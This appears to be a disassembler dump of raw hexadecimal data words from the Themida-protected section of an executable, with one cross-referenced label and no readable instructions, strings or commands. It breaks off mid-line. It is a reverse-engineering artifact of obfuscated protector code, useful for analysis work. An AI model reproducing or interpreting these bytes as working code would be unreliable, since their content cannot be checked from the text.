dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 8383C351h, 8BF88B66h, 9B8D8DF2h, 6A06074Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 827DC356h, 8BBAE18Bh, 72C39BDh, 5B806h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 225C4DC3h, 24DA6659h, 6860Fh, 8A0F0000h, 0 dd 6AE1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0EFED6AC3h, 2C69BD8Bh, 0CA030607h, 0FFF2BEE9h dd 178D0FFFh, 0F000000h, 0C80h, 0E95F5700h, 5, 6A8BDD6Ch dd 1E40BF62h, 9D890D3Ah, 6071E21h, 0B7C78166h, 0E9C18B60h dd 0Eh, 45F1068Bh, 0AF2D24C3h, 4EFE3E74h, 4EB32CAh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0EDC35747h dd 3A869433h, 2101B58Bh, 95BE0607h, 8D3953F6h, 718B185h dd 0EDB58B06h, 90060722h, 8B665250h, 51310FF0h, 0CE9h dd 46D35D00h, 7C801190h, 8BD577Ah, 585A5EFAh, 0B748BE50h dd 6A900763h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0BE13C357h, 53E0921Fh, 0BFBEDE81h dd 6A609Ah, 6880Fh, 0B5010000h, 607191Dh, 0F60006Ah, 687h dd 29958B00h, 6606070Fh, 1B40C881h, 0EE858D61h, 6A060ADCh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0A9A4C351h, 37EEC307h, 5C0839Dh, 0E950F38Bh dd 10h, 3B05B1A1h, 0B4833C90h, 83480B5Ah, 28469B20h, 6A240489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 1CFC357h, 4EDB006Fh, 3279BB1Dh, 1D8E0Fh dd 11E80000h, 0E9000000h, 66794730h, 9DF7E8FAh, 43E2C83Bh dd 2FB799EAh, 2239B58Bh, 6A5E0607h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0AE309A0Bh dd 6AF5CFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 9BC35343h, 60F5605Bh, 0B531D3B1h, 6070A25h, 95FF6161h dd 6071E3Dh, 23819D89h, 9D8D0607h, 60A93D5h, 0F0B70F51h dd 6E85Eh db 2 dup(0) word_57A45E dw 6851h ; DATA XREF: Themida_:0053DCC0o dd 0A41A8445h, 2BE1B589h, 0FF5E0607h, 50006AD3h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0FDAD48E5h, 1B6C30Fh, 72A3595h, 6830F06h, 1000000h dd 701AD9Dh, 5985FF06h, 2906072Fh, 70AB19Dh, 0A12E906h dd 0E80000h, 5D000000h, 0DCF8ED81h, 0BD31060Ah, 6071285h dd 20D5BD81h, 7D00607h, 860F0000h, 171h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4AC35545h, 0A5D1D2E0h dd 5B8A8E19h, 2840Fh, 0F28B0000h, 0C419D8Bh, 8B660607h dd 0E381F3h, 6A000001h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0E9AFC350h, 0Eh, 44C0B86Fh dd 0A2BEE31Ch, 2CA78A82h, 0DB0BC332h, 6C850Fh, 0BF0F0000h dd 0DE8166F0h, 0BD830B1Fh, 60ADAFDh, 26840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 636DC351h, 530A6F2Bh, 63E9h, 0FD85C700h dd 1060ADAh, 0E9000000h, 54h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 20C35040h, 49C398F4h, 85C7391Fh dd 60ADAFDh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E9C35545h dd 0F51D38B4h, 0B58B7C5Bh, 60702F9h, 0C419D8Dh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 3114E8C3h, 70D4185h, 2D850106h, 8106071Bh, 0FFFEFF23h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0B7F26A3Bh, 8F0F4B5Eh, 5, 0CDCE8166h, 0DB8C6617h dd 4C3F6F9h, 5A840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0BE2CE8C3h, 3C26CDECh dd 29ED95FFh, 9D890607h, 6072C89h, 5954BE50h, 4896006h dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0B58B4735h, 6072D79h, 429E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 6E97B43h, 92000000h, 86AF4F71h, 8900B053h, 70A2D95h dd 5E906h, 0FA7C0000h, 0E6068206h, 0D6816670h, 71E433F7h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 82C35242h dd 0E1C8505Fh, 0FB1DB59h, 0B60FF0B7h, 52006AD8h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 2E2EAEA1h, 0C085DDAEh, 6BA4Bh, 0E9570000h, 9, 0BF8BF90h dd 0F5F955B6h, 0C38B5E1Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 77C35646h, 0E6A43D4Dh, 8BA5DBADh, 711A5B5h dd 4E8C106h, 0F766F18Bh, 52006AE2h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 165A4139h, 839E25BEh dd 6AD82B6Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0CB81C351h, 1D8558C7h, 0BE509C60h dd 426AF6BBh, 9241C89h, 7294D8Dh, 0CDB58B06h, 0FF06070Fh dd 720D5B5h, 27A6BE06h, 95FF49EAh, 6070D69h, 21E1E681h dd 0B060B7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0B9C35545h, 933055A7h, 0F774F613h, 40135CBEh, 8170E629h dd 824C5AF6h, 0F71E436h, 68Eh, 599D8900h, 3C06071Ah, 93830F61h dd 6A000002h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0D1F7C352h, 3C288310h, 0F8B917Bh dd 68Fh, 9DBD8900h, 0F060703h, 6AD8B6h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A940D5C3h dd 6BA5E4Bh, 8B000000h, 710F9B5h, 23C38B06h, 72155B5h dd 4E8C106h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 46C35646h, 7DB9779h, 0B58BF715h, 6072A81h, 6AE2F766h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 2B09C353h, 8D0FD8h, 58000000h, 19058501h dd 0CE80607h, 0DA000000h, 0C8F4509Bh, 4DA818F5h, 0BE13CEB8h dd 48E26261h, 0FD82B5Eh, 1B588h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B9F875FEh dd 7, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h dd 2FC35040h, 83F38B07h, 6A00C1h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 570C5FC3h, 849AF7EFh dd 0D93B88C1h, 144860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 3A2AF8C3h, 8C66391Eh dd 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 9D882DDFh, 0C1F6CC56h, 0DD840F04h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0FB93C351h, 49D10E6Ch, 0AE94Dh, 0CC6A0000h dd 396BD6A5h, 25243BE9h, 29ED95FFh, 8F0F0607h, 0Ch, 68A0Fh dd 0BD290000h, 6071B29h, 6E9h, 80041D00h, 5B468BA9h, 6AC32Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 6B1089C3h, 3C63B023h, 3DA8AC64h, 834h, 56860Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0EE3C0DC3h, 89BAA0FAh, 71F75B5h, 44E906h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0FD2BD9C3h, 660C60ADh, 0F04F117h, 5E51F2BFh, 0E960C08Bh dd 5, 0A182437Ah, 5CE812Ah, 617B1CFCh, 810Fh, 0C38B0000h dd 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 4F0DD8C3h, 0C77996EBh, 85C7F7A6h, 60709D9h dd 5BE6E7DFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 7DC35545h, 0C94D4B96h, 4D2EDF82h, 0ADEE8166h, 0EE99Eh dd 0C83D0000h, 55FC1024h, 71E9BF07h, 85B6BBF4h, 2CD8589h dd 0C08B0607h, 20D5BD81h, 7D00607h, 850F0000h, 27h, 20D585FFh dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 66AB96C3h, 0FFCFCC34h, 720D5B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0B82846Dh, 7184DB5h, 89B58B06h, 0FF06072Dh, 70D6995h dd 71B58B06h, 9006070Eh, 6AD88Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 81EFD1C3h, 2FFFF5D9h dd 1F05B58Bh, 0BD830607h, 6073335h, 3C840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 8B2C353h, 0F78B4D09h, 279E9h, 11E900h, 8FA90000h dd 77520CECh, 0C32CC656h, 93325CBDh, 8CDD0B15h, 66F28BDFh dd 4C7F7h, 254850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 60578CC3h, 82D78166h dd 99CB80CEh, 2BF38B61h, 869D8DFFh, 6A060AE6h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 3AB8C351h, 0C1736184h, 40D5C41Dh, 0BE665E51h, 0F9356DBh dd 8Ah, 8E0F5000h, 17h, 0FE8h, 0A3CA3900h, 6863837h, 492C3486h dd 9980A12h, 935E5E50h, 6880Fh, 9D290000h, 6072C55h, 35FF64h dd 8B000000h, 714FDB5h, 45B58B06h, 64060708h, 2589h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 263377C3h, 1C48B25h, 7305595h, 0EB01CD06h, 0AE900h dd 67810000h, 96ECB945h, 3BD8D4C4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 62C35646h, 8B7F1189h, 722E1B5h dd 68A0F06h, 8B000000h, 71DB5B5h, 58F6406h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 9FC35242h dd 0F3478A22h, 6860FBDh, 89000000h, 703618Dh, 4C48306h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 8CC35343h dd 0AC3D8538h, 0C00BA273h, 0E0840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0EB4C7C3h dd 0B59D2989h, 8D060713h, 74B9BBDh, 9E906h, 0C4A10000h dd 45A3A059h, 0B89650EDh, 5, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0E7C35343h, 0E2399209h, 0F53BC80Ah dd 0FFF78B66h, 51006AE7h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 29C1558Eh, 70E4585h, 5C8B5706h dd 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h dd 5F020000h, 8BC3C033h, 52006AF3h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 3E0423DFh, 0E75DB30Eh dd 830F929Eh, 6, 2BE1B589h, 0CA2B0607h, 0FFF611E9h, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8509933Fh, 6070FA5h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 12566BC3h, 75C5B161h dd 0FA8B6642h, 4EBh, 0B5890000h, 6071501h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F8C35747h, 0FAF0B3D3h dd 0FD68152h, 8D468EE0h, 718B185h, 0FE906h, 65030000h dd 40884A9Ah, 0E7641522h, 8F4A7B3Fh, 870F9087h, 8, 2840Fh dd 61600000h, 0BF666050h, 0BABE8FFFh, 6164B6D7h, 8E990h dd 0BEFC0000h, 0AC023205h, 6A684Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0B4C35646h, 6A006Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 858DC4C3h, 60AE8C5h, 7DEBF6BEh, 0B98D293Ch, 83060712h dd 526005C0h, 21C5B529h, 8B5E0607h, 71E6DB5h, 57906106h dd 11E9h, 0E39C4300h, 0D6E8533Eh, 7771AA30h, 4C873EAFh dd 505F7C06h, 0DE8h, 0A1225400h, 0B10F3BCAh, 0C1412E8Bh dd 0FB8B4623h, 810F905Fh, 6, 719B52Bh, 6A0607h, 71958960h dd 0F060723h, 6A61D1BFh, 3D95FF00h, 6A06071Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 9ADC350h, 706D58Dh, 0D59D8D06h, 3060A93h, 70B85BDh dd 0E9D3FF06h, 6, 3617418h, 0B58BF89Ah, 6071DF1h, 2F5985FFh dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0A97C25C3h, 8A02186Fh, 8D897F27h, 6070CB1h dd 807E9h, 0E800h, 815D0000h, 0AE8CFEDh, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0DC0ABEFBh, 58443C43h, 2009BD8Bh, 0BD810607h, 60720D5h dd 7D0h, 113860Fh, 0BE90000h, 0EB000000h, 0EF24752Fh, 0C92E63DAh dd 9D8B422Dh, 6071EE5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 8CC35242h, 0E28FFF95h, 0E38190h, 0B000001h dd 7F850FDBh, 8B000000h, 71F01B5h, 2FBD8306h, 60AE7h, 32840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 626B81C3h, 87E1EE05h, 0A9B58BB9h, 0E9060700h dd 70h, 48B8BF66h, 0E72F85C7h, 1060Ah, 0E1BE0000h, 0E96479B8h dd 58h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h dd 0A6C35040h, 0B2FBA950h, 1905B589h, 85C70607h, 60AE72Fh dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 70C35141h dd 0A6CB3AF9h, 0B58BF5B3h, 6071DB1h, 1EE59D8Dh, 0BDBF0607h dd 81027BEBh, 0FFFEFF23h, 0B0EE81FFh, 291E751Eh, 700D5BDh dd 0DB8C6606h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0DCC35040h, 4C3F67Ah, 58840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0D423AFC3h, 29ED95FFh, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 2C7F53C3h, 0EC1B4CEAh dd 0E78166F8h, 50905172h, 90FB8B66h, 477CD681h, 3CE9249Ah dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8B71C357h, 72A8DB5h, 0E600B006h dd 9E970h, 9E530000h, 1FA8FA26h, 0E4E1194Eh, 9B58B71h dd 0F060719h, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 76B120C3h, 0E6816644h, 0B58B1782h dd 60710D1h, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0D915A9D2h, 65BD0BA1h dd 8B060721h, 79B503C3h, 5106072Ah, 0D1BD8960h, 6606071Fh dd 5C3FEA81h, 0E8C15E61h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0B6F7DBE7h dd 89C3AB99h, 71E299Dh, 0E2F76606h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0DCC35646h, 2B455CFEh, 53006AD8h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 796929C1h, 136D7120h, 0B50196E8h, 60728F5h, 10E8h, 5C3F7200h dd 0F6BDCDB4h, 88DF4CEEh, 969294DFh, 818D8912h, 5E060720h dd 0CE950h, 0E3EE0000h, 0A24A5490h, 0E3AACAD6h, 1C89366Ch dd 5870F24h, 0BE000000h, 5E1816ADh, 20D5B5FFh, 6A0607h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0E89BE0C3h, 0Dh, 9D307FC7h, 5924EF4Eh, 6DCDFC0h, 0DE81668Ch dd 0FF5F0E70h, 70D6995h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0B3818972h, 925924BEh dd 100B067h, 711FDB5h, 2970E606h, 700199Dh, 3C71E406h dd 5C830F61h, 6A000002h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0A533C350h, 2DEE9953h dd 0F9AD121h, 12E9D8B6h, 0DA000000h, 0E53F11C9h, 7403BB0Fh dd 47968122h, 0D0F7A54Fh, 6BAC3h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0A329DC3h dd 7A4B55B8h, 0B70F972Ch, 6AC38BF6h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0EE5BC352h dd 91FCEC5Fh, 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 25C7C353h, 6EA3F34Dh dd 66184C21h, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 585FBAC3h, 2B6F1B2Dh, 56006AD8h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0F08B4DFAh, 28E0Fh, 0F78B0000h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 46CD5FD5h dd 92BF197Ah, 2B5D7CF8h, 2C880FD8h, 0B9000001h, 7, 6AF4EF81h dd 0C1830C53h, 55BD2B00h, 3B060732h, 10860FD9h, 8B000001h dd 72F89BDh, 0D98C6606h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0F1C35040h, 5F0ED217h, 2CD1BD89h, 0B58B0607h dd 607151Dh, 0F04C1F6h, 0AC84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 95FF2BFAh dd 60729EDh, 7B6B92BEh, 6A5B25h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 462F8C3h, 6C29CA1Fh dd 7DBFC32Bh, 3D04F95Fh, 834h, 4F860Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0E68112C3h, 0D6D2CF60h, 4EE9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 82AC9664h dd 0F38B6624h, 0FFDE8166h, 6AC08B42h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0E0EFC357h dd 0E9858901h, 8B060713h, 0E9D88BC3h, 5, 0E26D06EFh, 4185C736h dd 0D706070Ch, 6A35F235h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0AB86C356h, 88696636h dd 8160C9B9h, 9B5846DAh, 9E97Fh, 8C240000h, 4EB7E234h dd 61C66141h, 0E953C08Bh, 0Fh, 225A35CCh, 0A6EA0EB7h, 4DE913FCh dd 5EF03C6Fh, 20D5BD81h, 7D00607h, 850F0000h, 3Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 37C35545h, 5CAC783Ch dd 6E893h, 6DE30000h, 9240181Dh, 10359D31h, 0BF5E0607h dd 4E68E27Ah, 20D585FFh, 0FFF90607h, 720D5B5h, 0B5035106h dd 6071851h, 6995FF5Fh, 0BF06070Dh, 44409A6Eh, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 3841A775h, 53006AE0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 66287E6Eh, 13DBE781h, 0B870Fh, 0BD890000h dd 6072051h, 0B2A030BFh, 1577BF75h, 8D895688h, 6071F0Dh dd 14E5BD8Bh, 81600607h, 0B5E9B8D3h, 91858B2Ch, 89060706h dd 70E199Dh, 850F6106h, 0Ch, 10E5B58Bh, 0B5290607h, 6073119h dd 0BE8h, 95474C00h, 4CF16F78h, 0E2F58A48h, 0A5B86660h dd 0CE861C0h, 0A0000000h, 7FD36481h, 0CDBA35ACh, 0FB823F3h dd 0DF81F7B7h, 679CC4D1h, 0E7815F5Fh, 4F907E94h, 0FF1BD31h dd 0B52B0607h, 6070069h, 0EE9h, 2F16C700h, 0DBCAC1B6h dd 167B6B88h, 0BF17F8BBh, 40C454DEh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0CAC35646h, 0E91A89DDh, 0FFFFF809h dd 0A8B0Fh, 810F0000h, 4, 3560BE66h, 0CE9C18Bh, 0C9000000h dd 93C9FC04h, 0E033791Ah, 0FB89965h, 88h, 4EB00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 5ACFC351h, 6A042F94h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0EC3BC356h dd 9C7B1918h, 0F6B5DEBBh, 8DF7B70Fh, 718B185h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 499F02D7h, 0C745FD53h, 95898962h, 6072B85h, 0F38B6690h dd 11E850h, 2B890000h, 0FF77C18Dh, 0CCF8AA31h, 0A1D19653h dd 5F11C11Fh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 6A9D24h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0E9C35242h, 8B663706h, 6A006AF0h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0C68BC356h, 4CFD58CFh, 858D8994h, 60AF307h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 8AC35040h dd 0B6932555h, 8905C083h, 72345BDh, 4895006h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 39B5231Ah, 0E8060719h, 14h, 980DC3BCh, 0AD49F142h, 47248D34h dd 0ED1A9F7Dh, 209B4A9Fh, 0BE8h, 0E388E300h, 2CAE4F0Ah dd 0C9A2AF6Bh, 22459D01h, 5E5F0607h, 6A5F53h, 8BEEBE66h dd 8E9h, 853C1200h, 8EC48009h, 6A006A4Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 947EC352h dd 611AEB23h, 0FFF54929h, 71E3D95h, 2EBF6606h, 0D59D8D12h dd 89060A93h, 707958Dh, 6AD3FF06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 7682C352h dd 0F2E70117h, 0D18529F2h, 57060706h, 0C859D01h, 0FF5F0607h dd 72F5985h, 81666006h, 8918E8DEh, 7069985h, 1BE96106h dd 0E8000008h, 0 dd 11ED815Dh, 6A060AF3h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 47E7C351h, 0A5BD0B06h dd 8106070Fh, 720D5BDh, 7D006h, 7A860F00h, 6A000001h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 424EC353h, 0CD07A97h, 8B91A976h, 726199Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 3B01E315h, 4A602DCh, 0D48BE66h, 300DBD89h, 0E3810607h dd 100h, 2D51BD2Bh, 0DB0B0607h, 0A8850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 8359B9C3h, 0F602D83h, 28Ch, 0E9F08B00h, 9, 668B892Ch dd 4F82D914h, 0BD836136h, 60AF0ECh, 0B840F00h, 89000000h dd 70645B5h, 0A2E906h, 85C70000h, 60AF0ECh, 1, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4AC35040h, 4138D80Bh dd 0E9804BABh, 70h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0FDC35646h, 831778EDh, 663902E1h, 85C7F38Bh dd 60AF0ECh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3DC35343h dd 5B6D49B1h, 14E9F2B4h, 12000000h, 0B2206400h, 81E6505Dh dd 3587ED72h, 86E91A23h, 0BE55EF65h, 7E550E89h, 26199D8Dh dd 81660607h, 81F744C7h, 0FFFEFF23h, 6850FFFh, 8B000000h dd 70185BDh, 0DB8C6606h, 0F6FFB70Fh, 840F04C3h, 4Bh, 7E8h dd 5EEFE800h, 824AB473h, 13D9B58Bh, 0FF5E0607h, 729ED95h dd 98C2BF06h, 66504D6Dh, 89C0F4BFh, 6A2404h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 761B4EC3h dd 5DB58BBEh, 0E906071Ah, 3D8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 90C35242h, 0B70FDA53h, 0E900B0F2h dd 10h, 4D01BD26h, 15F54F97h, 0FD1DB01Dh, 0DFEA313Fh, 6A70E6h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 9F92FFC3h, 1B458589h, 71E40607h, 0B1AB27BFh, 0D8B60F6Fh dd 11558D29h, 6BA0607h, 1000000h, 710D185h, 0E8C38B06h dd 0Bh, 7BFBE029h, 0EEDD6106h, 964A829h, 72979BDh, 0E8C15E06h dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 453E7D74h, 6660601Ah, 61C816BFh, 7E852h dd 6440000h, 9952C624h, 61595ECFh, 6AE2F766h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0C195C357h, 0F5B6EB2Fh, 55BD8B46h, 2B06072Ch, 55006AD8h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 75D27C18h, 85293D69h, 6070AE9h, 59BE5093h, 93291BA2h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 35C35747h dd 0E326C949h, 0FFA01AC8h, 720D5B5h, 0A9BD8B06h, 0FF06070Ch dd 70D6995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 11E9F7h, 90770000h, 3688A078h, 46EE5015h dd 51E804C5h, 0B0DDF851h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 21957610h dd 6A70E669h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0E992C356h, 21DD32CEh, 0BE470FA1h dd 49D515BFh, 18F0F50h, 0FC000000h, 8B6671E4h, 0F613CF8h dd 1E783h, 4D958900h, 0E8060733h, 8, 0DDA8084Bh, 0EF1924AFh dd 19459531h, 0F5F0607h, 0DF81D8B6h, 6B53D4F6h, 6BAh, 0AE900h dd 4D480000h, 25AB6B58h, 77591529h, 850FC38Bh, 0 dd 0FE9h, 9F2E8100h, 81F10A85h, 93CF64Bh, 0E49E6129h, 104E8C1h dd 71DB595h, 0E2F76606h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 92C35040h, 0FB860D9h, 8B66FEBFh, 6AD82BF3h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 3DF4C350h, 8CC93F05h, 0E635BE66h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0D82BDBD4h, 116880Fh, 0B58B0000h, 6070291h, 7B9h, 8D896000h dd 6070C05h, 8F03D181h, 666133ADh, 83215DBFh, 